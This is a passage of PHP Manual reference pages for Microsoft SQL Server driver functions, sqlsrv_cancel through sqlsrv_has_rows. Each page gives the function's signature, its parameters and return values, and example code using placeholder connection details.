Returns TRUE on success or FALSE on failure.

Examples

Example #1 sqlsrv_cancel() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT Sales FROM Table_1";

$stmt = sqlsrv_prepare( $conn, $sql);

if( $stmt === false ) {
     die( print_r( sqlsrv_errors(), true));
}

if( sqlsrv_execute( $stmt ) === false) {
     die( print_r( sqlsrv_errors(), true));
}

$salesTotal = 0;
$count = 0;

while( ($row = sqlsrv_fetch_array( $stmt)) && $salesTotal <=100000)
{
     $qty = $row[0];
     $price = $row[1];
     $salesTotal += ( $price * $qty);
     $count++;
}

echo "$count sales accounted for the first $$salesTotal in revenue.<br />";

// Cancel the pending results. The statement can be reused.
sqlsrv_cancel( $stmt);
?>

Notes

The main difference between sqlsrv_cancel() and sqlsrv_free_stmt() is that a statement resource cancelled with sqlsrv_cancel() can be re-executed if it was created with sqlsrv_prepare(). A statement resource cancelled with sqlsrv_free_statement() cannot be re-executed.

See Also

  • sqlsrv_free_stmt() - Frees all resources for the specified statement
  • sqlsrv_prepare() - Prepares a query for execution

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_begin_transaction
sqlsrv_client_info
SQLSRV Functions


Returns information about the client and specified connection

sqlsrv_cancel
sqlsrv_close
SQLSRV Functions
PHP Manual

sqlsrv_client_info

(No version information available, might only be in SVN)

sqlsrv_client_info — Returns information about the client and specified connection

Description

array sqlsrv_client_info ( resource $conn )

Returns information about the client and specified connection

Parameters

conn

The connection about which information is returned.

Return Values

Returns an associative array with keys described in the table below. Returns FALSE otherwise.

Array returned by sqlsrv_client_info
Key | Description
DriverDllName | SQLNCLI10.DLL
DriverODBCVer | ODBC version (xx.yy)
DriverVer | SQL Server Native Client DLL version (10.5.xxx)
ExtensionVer | php_sqlsrv.dll version (2.0.xxx.x)

Examples

Example #1 sqlsrv_client_info() example

<?php
$serverName = "serverName\sqlexpress";
$connOptions = array("UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connOptions );

if( $conn === false ) {
    die( print_r( sqlsrv_errors(), true));
}

if( $client_info = sqlsrv_client_info( $conn)) {
    foreach( $client_info as $key => $value) {
        echo $key.": ".$value."<br />";
    }
} else {
    echo "Error in retrieving client info.<br />";
}
?>

See Also

  • sqlsrv_server_info() - Returns information about the server

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_cancel
sqlsrv_close
SQLSRV Functions


Closes an open connection and releases resourses associated with the connection

sqlsrv_client_info
sqlsrv_commit
SQLSRV Functions
PHP Manual

sqlsrv_close

(No version information available, might only be in SVN)

sqlsrv_close — Closes an open connection and releases resourses associated with the connection

Description

bool sqlsrv_close ( resource $conn )

Closes an open connection and releases resourses associated with the connection.

Parameters

conn

The connection to be closed.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 sqlsrv_close() example

<?php
$serverName = "serverName\sqlexpres";
$connOptions = array("UID"=>"username", "PWD"=>"password", "Database"=>"dbname");
$conn = sqlsrv_connect( $serverName, $connOptions );
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

//-------------------------------------
// Perform database operations here.
//-------------------------------------

// Close the connection.
sqlsrv_close( $conn );
?>

See Also

  • sqlsrv_connect() - Opens a connection to a Microsoft SQL Server database

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_client_info
sqlsrv_commit
SQLSRV Functions


Commits a transaction that was begun with sqlsrv_begin_transaction

sqlsrv_close
sqlsrv_configure
SQLSRV Functions
PHP Manual

sqlsrv_commit

(No version information available, might only be in SVN)

sqlsrv_commit — Commits a transaction that was begun with sqlsrv_begin_transaction()

Description

bool sqlsrv_commit ( resource $conn )

Commits a transaction that was begun with sqlsrv_begin_transaction(). The connection is returned to auto-commit mode after sqlsrv_commit() is called. The transaction that is committed includes all statements that were executed after the call to sqlsrv_begin_transaction(). Explicit transactions should be started and committed or rolled back using these functions instead of executing SQL statements that begin and committ/roll back transactions. For more information, see » SQLSRV Transactions.

Parameters

conn

The connection on which the transaction is to be committed.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 sqlsrv_commit() example

The following example demonstrates how to use sqlsrv_commit() together with sqlsrv_begin_transaction() and sqlsrv_rollback().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
    die( print_r( sqlsrv_errors(), true ));
}

/* Begin the transaction. */
if ( sqlsrv_begin_transaction( $conn ) === false ) {
     die( print_r( sqlsrv_errors(), true ));
}

/* Initialize parameter values. */
$orderId = 1; $qty = 10; $productId = 100;

/* Set up and execute the first query. */
$sql1 = "INSERT INTO OrdersTable (ID, Quantity, ProductID)
         VALUES (?, ?, ?)";
$params1 = array( $orderId, $qty, $productId );
$stmt1 = sqlsrv_query( $conn, $sql1, $params1 );

/* Set up and execute the second query. */
$sql2 = "UPDATE InventoryTable
         SET Quantity = (Quantity - ?)
         WHERE ProductID = ?";
$params2 = array($qty, $productId);
$stmt2 = sqlsrv_query( $conn, $sql2, $params2 );

/* If both queries were successful, commit the transaction. */
/* Otherwise, rollback the transaction. */
if( $stmt1 && $stmt2 ) {
     sqlsrv_commit( $conn );
     echo "Transaction committed.<br />";
} else {
     sqlsrv_rollback( $conn );
     echo "Transaction rolled back.<br />";
}
?>

See Also

  • sqlsrv_begin_transaction() - Begins a database transaction
  • sqlsrv_rollback() - Rolls back a transaction that was begun with sqlsrv_begin_transaction

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_close
sqlsrv_configure
SQLSRV Functions


Changes the driver error handling and logging configurations

sqlsrv_commit
sqlsrv_connect
SQLSRV Functions
PHP Manual

sqlsrv_configure

(No version information available, might only be in SVN)

sqlsrv_configure — Changes the driver error handling and logging configurations

Description

bool sqlsrv_configure ( string $setting , mixed $value )

Changes the driver error handling and logging configurations.

Parameters

setting

The name of the setting to set. The possible values are "WarningsReturnAsErrors", "LogSubsystems", and "LogSeverity".

value

The value of the specified setting. The following table shows possible values:

Error and Logging Setting Options
Setting | Options
WarningsReturnAsErrors | 1 (TRUE) or 0 (FALSE)
LogSubsystems | SQLSRV_LOG_SYSTEM_ALL (-1) SQLSRV_LOG_SYSTEM_CONN (2) SQLSRV_LOG_SYSTEM_INIT (1) SQLSRV_LOG_SYSTEM_OFF (0) SQLSRV_LOG_SYSTEM_STMT (4) SQLSRV_LOG_SYSTEM_UTIL (8)
LogSeverity | SQLSRV_LOG_SEVERITY_ALL (-1) SQLSRV_LOG_SEVERITY_ERROR (1) SQLSRV_LOG_SEVERITY_NOTICE (4) SQLSRV_LOG_SEVERITY_WARNING (2)

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • » SQLSRV Error Handling.
  • » Logging SQLSRV Activity.

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_commit
sqlsrv_connect
SQLSRV Functions


Opens a connection to a Microsoft SQL Server database

sqlsrv_configure
sqlsrv_errors
SQLSRV Functions
PHP Manual

sqlsrv_connect

(No version information available, might only be in SVN)

sqlsrv_connect — Opens a connection to a Microsoft SQL Server database

Description

resource sqlsrv_connect ( string $serverName [, array $connectionInfo ] )

Opens a connection to a Microsoft SQL Server database. By default, the connection is attempted using Windows Authentication. To connect using SQL Server Authentication, include "UID" and "PWD" in the connection options array.

Parameters

serverName

The name of the server to which a connection is established. To connect to a specific instance, follow the server name with a forward slash and the instance name (e.g. serverName\sqlexpress).

connectionInfo

An associative array that specifies options for connecting to the server. If values for the UID and PWD keys are not specified, the connection will be attempted using Windows Authentication. For a complete list of supported keys, see » SQLSRV Connection Options.

Return Values

A connection resource. If a connection cannot be successfully opened, FALSE is returned.

Examples

Example #1 Connect using Windows Authentication.

<?php
$serverName = "serverName\sqlexpress"; //serverName\instanceName

// Since UID and PWD are not specified in the $connectionInfo array,
// The connection will be attempted using Windows Authentication.
$connectionInfo = array( "Database"=>"dbName");
$conn = sqlsrv_connect( $serverName, $connectionInfo);

if( $conn ) {
     echo "Connection established.<br />";
}else{
     echo "Connection could not be established.<br />";
     die( print_r( sqlsrv_errors(), true));
}
?>

Example #2 Connect by specifying a user name and password.

<?php
$serverName = "serverName\sqlexpress"; //serverName\instanceName
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);

if( $conn ) {
     echo "Connection established.<br />";
}else{
     echo "Connection could not be established.<br />";
     die( print_r( sqlsrv_errors(), true));
}
?>

Example #3 Connect on a specifed port.

<?php
$serverName = "serverName\sqlexpress, 1542"; //serverName\instanceName, portNumber (default is 1433)
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);

if( $conn ) {
     echo "Connection established.<br />";
}else{
     echo "Connection could not be established.<br />";
     die( print_r( sqlsrv_errors(), true));
}
?>

Notes

By default, the sqlsrv_connect() uses connection pooling to improve connection performance. To turn off connection pooling (i.e. force a new connection on each call), set the "ConnectionPooling" option in the $connectionOptions array to 0 (or FALSE). For more information, see » SQLSRV Connection Pooling.

The SQLSRV extension does not have a dedicated function for changing which database is connected to. The target database is specified in the $connectionOptions array that is passed to sqlsrv_connect. To change the database on an open connection, execute the following query "USE dbName" (e.g. sqlsrv_query($conn, "USE dbName")).

See Also

  • sqlsrv_close() - Closes an open connection and releases resourses associated with the connection
  • sqlsrv_errors() - Returns error and warning information about the last SQLSRV operation performed
  • sqlsrv_query() - Prepares and executes a query.

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_configure
sqlsrv_errors
SQLSRV Functions


Returns error and warning information about the last SQLSRV operation performed

sqlsrv_connect
sqlsrv_execute
SQLSRV Functions
PHP Manual

sqlsrv_errors

(No version information available, might only be in SVN)

sqlsrv_errors — Returns error and warning information about the last SQLSRV operation performed

Description

mixed sqlsrv_errors ([ int $errorsOrWarnings ] )

Returns error and warning information about the last SQLSRV operation performed.

Parameters

errorsOrWarnings

Determines whether error information, warning information, or both are returned. If this parameter is not supplied, both error information and warning information are returned. The following are the supported values for this parameter: SQLSRV_ERR_ALL, SQLSRV_ERR_ERRORS, SQLSRV_ERR_WARNINGS.

Return Values

If errors and/or warnings occured on the last sqlsrv operation, and array of arrays containing error information is returned. If no errors and/or warnings occured on the last sqlsrv operation, NULL is returned. The following table describes the structure of the returned arrays:

Array returned by sqlsrv_errors
Key | Description
SQLSTATE | For errors that originate from the ODBC driver, the SQLSTATE returned by ODBC. For errors that originate from the Microsoft Drivers for PHP for SQL Server, a SQLSTATE of IMSSP. For warnings that originate from the Microsoft Drivers for PHP for SQL Server, a SQLSTATE of 01SSP.
code | For errors that originate from SQL Server, the native SQL Server error code. For errors that originate from the ODBC driver, the error code returned by ODBC. For errors that originate from the Microsoft Drivers for PHP for SQL Server, the Microsoft Drivers for PHP for SQL Server error code.
message | A description of the error.

Examples

Example #1 functionname() example

<?php
$serverName = "serverName/sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

/* Set up a query to select an invalid column name. */
$sql = "SELECT BadColumnName FROM Table_1";

/* Execution of the query will fail because of the bad column name. */
$stmt = sqlsrv_query( $conn, $sql );
if( $stmt === false ) {
    if( ($errors = sqlsrv_errors() ) != null) {
        foreach( $errors as $error ) {
            echo "SQLSTATE: ".$error[ 'SQLSTATE']."<br />";
            echo "code: ".$error[ 'code']."<br />";
            echo "message: ".$error[ 'message']."<br />";
        }
    }
}
?>

Notes

By default, warnings generated on a call to any SQLSRV function are treated as errors. This means that if a warning occurs on a call to a SQLSRV function, the function returns FALSE. However, warnings that correspond to SQLSTATE values 01000, 01001, 01003, and 01S02 are never treated as errors. For information about changing this behavior, see sqlsrv_configure() and the WarningsReturnAsErrors setting.

See Also

  • sqlsrv_configure() - Changes the driver error handling and logging configurations

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_connect
sqlsrv_execute
SQLSRV Functions


Executes a statement prepared with sqlsrv_prepare

sqlsrv_errors
sqlsrv_fetch_array
SQLSRV Functions
PHP Manual

sqlsrv_execute

(No version information available, might only be in SVN)

sqlsrv_execute — Executes a statement prepared with sqlsrv_prepare()

Description

bool sqlsrv_execute ( resource $stmt )

Executes a statement prepared with sqlsrv_prepare(). This function is ideal for executing a prepared statement multiple times with different parameter values.

Parameters

stmt

A statement resource returned by sqlsrv_prepare().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 sqlsrv_execute() example

This example demonstrates how to prepare a statement with sqlsrv_prepare() and re-execute it multiple times (with different parameter values) using sqlsrv_execute().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false) {
    die( print_r( sqlsrv_errors(), true));
}

$sql = "UPDATE Table_1
        SET OrderQty = ?
        WHERE SalesOrderID = ?";

// Initialize parameters and prepare the statement.
// Variables $qty and $id are bound to the statement, $stmt.
$qty = 0; $id = 0;
$stmt = sqlsrv_prepare( $conn, $sql, array( &$qty, &$id));
if( !$stmt ) {
    die( print_r( sqlsrv_errors(), true));
}

// Set up the SalesOrderDetailID and OrderQty information.
// This array maps the order ID to order quantity in key=>value pairs.
$orders = array( 1=>10, 2=>20, 3=>30);

// Execute the statement for each order.
foreach( $orders as $id => $qty) {
    // Because $id and $qty are bound to $stmt1, their updated
    // values are used with each execution of the statement.
    if( sqlsrv_execute( $stmt ) === false ) {
          die( print_r( sqlsrv_errors(), true));
    }
}
?>

Notes

When you prepare a statement that uses variables as parameters, the variables are bound to the statement. This means that if you update the values of the variables, the next time you execute the statement it will run with updated parameter values. For statements that you plan to execute only once, use sqlsrv_query().

See Also

  • sqlsrv_prepare() - Prepares a query for execution
  • sqlsrv_query() - Prepares and executes a query.

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_errors
sqlsrv_fetch_array
SQLSRV Functions


Returns a row as an array

sqlsrv_execute
sqlsrv_fetch_object
SQLSRV Functions
PHP Manual

sqlsrv_fetch_array

(No version information available, might only be in SVN)

sqlsrv_fetch_array — Returns a row as an array

Description

array sqlsrv_fetch_array ( resource $stmt [, int $fetchType [, int $row [, int $offset ]]] )

Returns the next available row of data as an associative array, a numeric array, or both (the default).

Parameters

stmt

A statement resource returned by sqlsrv_query or sqlsrv_execute.

fetchType

A predefined constant specifying the type of array to return. Possible values are SQLSRV_FETCH_ASSOC, SQLSRV_FETCH_NUMERIC, and SQLSRV_FETCH_BOTH (the default).

A fetch type of SQLSRV_FETCH_ASSOC should not be used when consuming a result set with multiple columns of the same name.

row

Specifies the row to access in a result set that uses a scrollable cursor. Possible values are SQLSRV_SCROLL_NEXT, SQLSRV_SCROLL_PRIOR, SQLSRV_SCROLL_FIRST, SQLSRV_SCROLL_LAST, SQLSRV_SCROLL_ABSOLUTE and, SQLSRV_SCROLL_RELATIVE (the default). When this parameter is specified, the fetchType must be explicitly defined.

Return Values

Returns an array on success, NULL if there are no more rows to return, and FALSE if an error occurs.

Examples

Example #1 Retrieving an associative array.

<?php
$serverName = "serverName\instanceName";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo );
if( $conn === false ) {
    die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT FirstName, LastName FROM SomeTable";
$stmt = sqlsrv_query( $conn, $sql );
if( $stmt === false) {
    die( print_r( sqlsrv_errors(), true) );
}

while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC) ) {
      echo $row['LastName'].", ".$row['FirstName']."<br />";
}

sqlsrv_free_stmt( $stmt);
?>

Example #2 Retrieving a numeric array.

<?php
$serverName = "serverName\instanceName";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo );
if( $conn === false ) {
    die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT FirstName, LastName FROM SomeTable";
$stmt = sqlsrv_query( $conn, $sql );
if( $stmt === false) {
    die( print_r( sqlsrv_errors(), true) );
}

while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_NUMERIC) ) {
      echo $row[0].", ".$row[1]."<br />";
}

sqlsrv_free_stmt( $stmt);
?>

Notes

Not specifying the fetchType or explicity using the SQLSRV_FETCH_TYPE constant in the examples above will return an array that has both associative and numeric keys.

If more than one column is returned with the same name, the last column will take precedence. To avoid field name collisions, use aliases.

If a column with no name is returned, the associative key for the array element will be an empty string ("").

See Also

  • sqlsrv_connect() - Opens a connection to a Microsoft SQL Server database
  • sqlsrv_query() - Prepares and executes a query.
  • sqlsrv_errors() - Returns error and warning information about the last SQLSRV operation performed
  • sqlsrv_fetch() - Makes the next row in a result set available for reading

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_execute
sqlsrv_fetch_object
SQLSRV Functions


Retrieves the next row of data in a result set as an object

sqlsrv_fetch_array
sqlsrv_fetch
SQLSRV Functions
PHP Manual

sqlsrv_fetch_object

(No version information available, might only be in SVN)

sqlsrv_fetch_object — Retrieves the next row of data in a result set as an object

Description

mixed sqlsrv_fetch_object ( resource $stmt [, string $className [, array $ctorParams [, int $row [, int $offset ]]]] )

Retrieves the next row of data in a result set as an instance of the specified class with properties that match the row field names and values that correspond to the row field values.

Parameters

stmt

A statement resource created by sqlsrv_query() or sqlsrv_execute().

className

The name of the class to instantiate. If no class name is specified, stdClass is instantiated.

ctorParams

Values passed to the constructor of the specified class. If the constructor of the specified class takes parameters, the ctorParams array must be supplied.

row

The row to be accessed. This parameter can only be used if the specified statement was prepared with a scrollable cursor. In that case, this parameter can take on one of the following values:

  • SQLSRV_SCROLL_NEXT
  • SQLSRV_SCROLL_PRIOR
  • SQLSRV_SCROLL_FIRST
  • SQLSRV_SCROLL_LAST
  • SQLSRV_SCROLL_ABSOLUTE
  • SQLSRV_SCROLL_RELATIVE

offset

Specifies the row to be accessed if the row parameter is set to SQLSRV_SCROLL_ABSOLUTE or SQLSRV_SCROLL_RELATIVE. Note that the first row in a result set has index 0.

Return Values

Returns an object on success, NULL if there are no more rows to return, and FALSE if an error occurs or if the specified class does not exist.

Examples

Example #1 sqlsrv_fetch_object() example

The following example demonstrates how to retrieve a row as a stdClass object.

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT fName, lName FROM Table_1";
$stmt = sqlsrv_query( $conn, $sql);
if( $stmt === false ) {
     die( print_r( sqlsrv_errors(), true));
}

// Retrieve each row as an object.
// Because no class is specified, each row will be retrieved as a stdClass object.
// Property names correspond to field names.
while( $obj = sqlsrv_fetch_object( $stmt)) {
      echo $obj->fName.", ".$obj->lName."<br />";
}
?>

Notes

If a class name is specified with the optional $className parameter and the class has properties whose names match the result set field names, the corresponding result set values are applied to the properties. If a result set field name does not match a class property, a property with the result set field name is added to the object and the result set value is applied to the property. The following rules apply when using the $className parameter:

  • Field-property name matching is case-sensitive.
  • Field-property matching occurs regardless of access modifiers.
  • Class property data types are ignored when applying a field value to a property.
  • If the class does not exist, the function returns FALSE and adds an error to the error collection.
Regardless of whether the $className parameter is supplied, if a field with no name is returned, the field value will be ignored and a warning will be added to the error collection.

When consuming a result set that has multiple columns with the same name, it may be better to use sqlsrv_fetch_array() or the combination of sqlsrv_fetch() and sqlsrv_get_field().

See Also

  • sqlsrv_fetch() - Makes the next row in a result set available for reading
  • sqlsrv_fetch_array() - Returns a row as an array

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_fetch_array
sqlsrv_fetch
SQLSRV Functions


Makes the next row in a result set available for reading

sqlsrv_fetch_object
sqlsrv_field_metadata
SQLSRV Functions
PHP Manual

sqlsrv_fetch

(No version information available, might only be in SVN)

sqlsrv_fetch — Makes the next row in a result set available for reading

Description

mixed sqlsrv_fetch ( resource $stmt [, int $row [, int $offset ]] )

Makes the next row in a result set available for reading. Use sqlsrv_get_field() to read the fields of the row.

Parameters

stmt

A statement resource created by executing sqlsrv_query() or sqlsrv_execute().

row

The row to be accessed. This parameter can only be used if the specified statement was prepared with a scrollable cursor. In that case, this parameter can take on one of the following values:

  • SQLSRV_SCROLL_NEXT
  • SQLSRV_SCROLL_PRIOR
  • SQLSRV_SCROLL_FIRST
  • SQLSRV_SCROLL_LAST
  • SQLSRV_SCROLL_ABSOLUTE
  • SQLSRV_SCROLL_RELATIVE

offset

Specifies the row to be accessed if the row parameter is set to SQLSRV_SCROLL_ABSOLUTE or SQLSRV_SCROLL_RELATIVE. Note that the first row in a result set has index 0.

Return Values

Returns TRUE if the next row of a result set was successfully retrieved, FALSE if an error occurs, and NULL if there are no more rows in the result set.

Examples

Example #1 sqlsrv_fetch() example

The following example demonstrates how to retrieve a row with sqlsrv_fetch() and get the row fields with sqlsrv_get_field().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT Name, Comment
        FROM Table_1
        WHERE ReviewID=1";
$stmt = sqlsrv_query( $conn, $sql);
if( $stmt === false ) {
     die( print_r( sqlsrv_errors(), true));
}

// Make the first (and in this case, only) row of the result set available for reading.
if( sqlsrv_fetch( $stmt ) === false) {
     die( print_r( sqlsrv_errors(), true));
}

// Get the row fields. Field indeces start at 0 and must be retrieved in order.
// Retrieving row fields by name is not supported by sqlsrv_get_field.
$name = sqlsrv_get_field( $stmt, 0);
echo "$name: ";

$comment = sqlsrv_get_field( $stmt, 1);
echo $comment;
?>

See Also

  • sqlsrv_get_field() - Gets field data from the currently selected row
  • sqlsrv_fetch_array() - Returns a row as an array
  • sqlsrv_fetch_object() - Retrieves the next row of data in a result set as an object

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_fetch_object
sqlsrv_field_metadata
SQLSRV Functions


Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare or sqlsrv_query

sqlsrv_fetch
sqlsrv_free_stmt
SQLSRV Functions
PHP Manual

sqlsrv_field_metadata

(No version information available, might only be in SVN)

sqlsrv_field_metadata — Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare() or sqlsrv_query()

Description

mixed sqlsrv_field_metadata ( resource $stmt )

Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare() or sqlsrv_query(). sqlsrv_field_metadata() can be called on a statement before or after statement execution.

Parameters

stmt

The statment resource for which metadata is returned.

Return Values

Returns an array of arrays is returned on success. Otherwise, FALSE is returned. Each returned array is described by the following table:

Array returned by sqlsrv_field_metadata
Key | Description
Name | The name of the field.
Type | The numeric value for the SQL type.
Size | The number of characters for fields of character type, the number of bytes for fields of binary type, or NULL for other types.
Precision | The precision for types of variable precision, NULL for other types.
Scale | The scale for types of variable scale, NULL for other types.
Nullable | An enumeration indicating whether the column is nullable, not nullable, or if it is not known.
For more information, see » sqlsrv_field_metadata in the Microsoft SQLSRV documentation.

Examples

Example #1 sqlsrv_field_metadata() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"AdventureWorks", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
   die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT * FROM Table_1";
$stmt = sqlsrv_prepare( $conn, $sql );

foreach( sqlsrv_field_metadata( $stmt ) as $fieldMetadata ) {
    foreach( $fieldMetadata as $name => $value) {
       echo "$name: $value<br />";
    }
      echo "<br />";
}
?>

See Also

  • sqlsrv_client_info() - Returns information about the client and specified connection

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_fetch
sqlsrv_free_stmt
SQLSRV Functions


Frees all resources for the specified statement

sqlsrv_field_metadata
sqlsrv_get_config
SQLSRV Functions
PHP Manual

sqlsrv_free_stmt

(No version information available, might only be in SVN)

sqlsrv_free_stmt — Frees all resources for the specified statement

Description

bool sqlsrv_free_stmt ( resource $stmt )

Frees all resources for the specified statement. The statement cannot be used after sqlsrv_free_stmt() has been called on it. If sqlsrv_free_stmt() is called on an in-progress statement that alters server state, statement execution is terminated and the statement is rolled back.

Parameters

stmt

The statment for which resources are freed. Note that NULL is a valid parameter value. This allows the function to be called multiple times in a script.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 sqlsrv_free_stmt() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$stmt = sqlsrv_query( $conn, "SELECT * FROM Table_1");
if( $stmt === false ) {
     die( print_r( sqlsrv_errors(), true));
}

/*-------------------------------
     Process query results here.
-------------------------------*/

/* Free the statement resources. */
sqlsrv_free_stmt( $stmt);

?>

Notes

The main difference between sqlsrv_free_stmt() and sqlsrv_cancel() is that a statement resource cancelled with sqlsrv_cancel() can be re-executed if it was created with sqlsrv_prepare(). A statement resource cancelled with sqlsrv_free_statement() cannot be re-executed.

See Also

  • sqlsrv_cancel() - Cancels a statement

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_field_metadata
sqlsrv_get_config
SQLSRV Functions


Returns the value of the specified configuration setting

sqlsrv_free_stmt
sqlsrv_get_field
SQLSRV Functions
PHP Manual

sqlsrv_get_config

(No version information available, might only be in SVN)

sqlsrv_get_config — Returns the value of the specified configuration setting

Description

mixed sqlsrv_get_config ( string $setting )

Returns the value of the specified configuration setting.

Parameters

setting

The name of the setting for which the value is returned. For a list of configurable settings, see sqlsrv_configure().

Return Values

Returns the value of the specified setting. If an invalid setting is specified, FALSE is returned.

See Also

  • sqlsrv_configure() - Changes the driver error handling and logging configurations

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_free_stmt
sqlsrv_get_field
SQLSRV Functions


Gets field data from the currently selected row

sqlsrv_get_config
sqlsrv_has_rows
SQLSRV Functions
PHP Manual

sqlsrv_get_field

(No version information available, might only be in SVN)

sqlsrv_get_field — Gets field data from the currently selected row

Description

mixed sqlsrv_get_field ( resource $stmt , int $fieldIndex [, int $getAsType ] )

Gets field data from the currently selected row. Fields must be accessed in order. Field indices start at 0.

Parameters

stmt

A statement resource returned by sqlsrv_query() or sqlsrv_execute().

fieldIndex

The index of the field to be retrieved. Field indices start at 0. Fields must be accessed in order. i.e. If you access field index 1, then field index 0 will not be available.

getAsType

The PHP data type for the returned field data. If this parameter is not set, the field data will be returned as its default PHP data type. For information about default PHP data types, see » Default PHP Data Types in the Microsoft SQLSRV documentation.

Return Values

Returns data from the specified field on success. Returns FALSE otherwise.

Examples

Example #1 sqlsrv_get_field() example

The following example demonstrates how to retrieve a row with sqlsrv_fetch() and get the row fields with sqlsrv_get_field().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT Name, Comment
        FROM Table_1
        WHERE ReviewID=1";
$stmt = sqlsrv_query( $conn, $sql);
if( $stmt === false ) {
     die( print_r( sqlsrv_errors(), true));
}

// Make the first (and in this case, only) row of the result set available for reading.
if( sqlsrv_fetch( $stmt ) === false) {
     die( print_r( sqlsrv_errors(), true));
}

// Get the row fields. Field indeces start at 0 and must be retrieved in order.
// Retrieving row fields by name is not supported by sqlsrv_get_field.
$name = sqlsrv_get_field( $stmt, 0);
echo "$name: ";

$comment = sqlsrv_get_field( $stmt, 1);
echo $comment;
?>

See Also

  • sqlsrv_fetch() - Makes the next row in a result set available for reading
  • sqlsrv_fetch_array() - Returns a row as an array
  • sqlsrv_fetch_object() - Retrieves the next row of data in a result set as an object

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_get_config
sqlsrv_has_rows
SQLSRV Functions


Indicates whether the specified statement has rows

sqlsrv_get_field
sqlsrv_next_result
SQLSRV Functions
PHP Manual

sqlsrv_has_rows

(No version information available, might only be in SVN)

sqlsrv_has_rows — Indicates whether the specified statement has rows

Description

bool sqlsrv_has_rows ( resource $stmt )

Indicates whether the specified statement has rows.

Parameters

stmt

A statement resource returned by sqlsrv_query() or sqlsrv_execute().

Return Values

Returns TRUE if the specified statement has rows and FALSE if the statement does not have rows or if an error occured.

Examples

Example #1 sqlsrv_has_rows() example

<?php
$server = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" )
$conn = sqlsrv_connect( $server, $connectionInfo );

$stmt = sqlsrv_query( $conn, "SELECT * FROM Table_1");

if ($stmt) {
   $rows = sqlsrv_has_rows( $stmt );
   if ($rows === true)
      echo "There are rows. <br />";
   else
      echo "There are no rows. <br />";
}
?>

See Also

  • sqlsrv_num_rows() - Retrieves the number of rows in a result set
  • sqlsrv_query() - Prepares and executes a query.

User Contributed Notes

There are no user contributed notes for this page.
sqlsrv_get_field
sqlsrv_next_result
SQLSRV Functions


Makes the next result of the specified statement active

sqlsrv_has_rows
sqlsrv_num_fields
SQLSRV Functions
PHP Manual

sqlsrv_next_result

